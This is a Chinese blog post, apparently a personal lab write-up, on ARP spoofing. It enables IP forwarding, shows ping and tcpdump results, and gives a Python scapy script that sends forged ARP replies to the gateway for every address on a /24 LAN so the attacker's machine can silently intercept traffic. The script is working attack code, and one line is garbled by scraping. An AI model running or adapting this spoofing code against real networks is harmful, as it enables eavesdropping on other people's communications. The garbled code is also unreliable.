2017-3-11 ARP欺骗 again（2）

首页 > 代码库 > 2017-3-11 ARP欺骗 again（2）

2017-3-11 ARP欺骗 again（2）

2024-09-08 04:10:21 216人阅读

非常棒的实验，自信又有了。

1、根据上文说到，必须开启黑客机器的转发功能，ARP脚本不变

[root@python sysctl.d]# vim /etc/sysctl.conf

[root@python sysctl.d]# sysctl -p

net.ipv4.ip_forward = 1

（1）运行脚本测试之前，客户端A去ping目的计算机B的IP 192.168.1.31

技术分享

（2）运行脚本攻击之后，A再去ping B机器，会发现MAC地址发生改变

技术分享

结论：很明显，A机器可以ping通B，但实际上通信的是A与黑客机器！

（3）在目的计算机上B tcpdump抓包看到，192.168.1.101（也就是客户端A的IP）发送的PING报文可以被B收到，并进行响应，从而不让人发现网络已经被攻击，达到黑客监听数据的目的，nice !

技术分享

(4)接下来的目标是ARP程序不允许交互式手工输入目的计算机IP，不管请求谁，都要经过我黑客。需要更改代码。

现在唯一的问题是ARP程序运行要手工输入目的机器B的IP，这一点不好。需求是当任意客户端Ping任意服务器的时候，我想要涉及到python多线程的问题，写一个for循环，黑客机器向局域网的所有机器（从192.168.1.1到192.168.1.254）都不停的进行应答发包，只管有机器恰好在请求ARP广播报文，等它命中。

[root@python ~]# cat broadcast.py

#!/usr/bin/env python

# -*- coding: utf-8 -*-

# 伪造目的计算机，告诉网关那个目的计算机的MAC地址是黑客的MAC地址，即欺骗路由器的ARP缓存表

 

from scapy.all import *

import commands

import threading

import time

 

Gateway_IP = commands.getoutput(" route -n|head -3|tail -1|awk ‘{print $2}‘ ")

Gateway_MAC = getmacbyip(Gateway_IP)

Hacker_MAC = commands.getoutput(" ifconfig|grep ‘ether‘|awk ‘{print $2}‘ ") #python调用linux命令

ETHERNET = commands.getoutput (" ifconfig|grep ‘mtu 1500‘|awk ‘{print $1}‘|awk -F ‘:‘ ‘{print $1}‘ ")

 

def broadcast_IP( ):

        count = 1

        while count < 254:

                count +=1 #我并没攻击网关，如果攻击网关的话，可以窃听外网

                DuiFang_IP = ‘192.168.1.‘ + str(count)

                pkt = Ether(src=http://www.mamicode.com/Hacker_MAC,dst=Gateway_MAC) / ARP(hwsrc=Hacker_MAC,hwdst=Gateway_MAC,psrc=DuiFang_IP,pdst=Gateway_IP,op=2)>

[root@python ~]# python broadcast.py ##执行这个代码的时候，会有大量的ARP应答报文发送，只能关闭远程工具，才能终止发包，在后台运行也会跳出到前台，如果直接在真机上运行的话，我估计只有强行关机了...

实验截图：

　　　　　　　　 黑客机器的MAC地址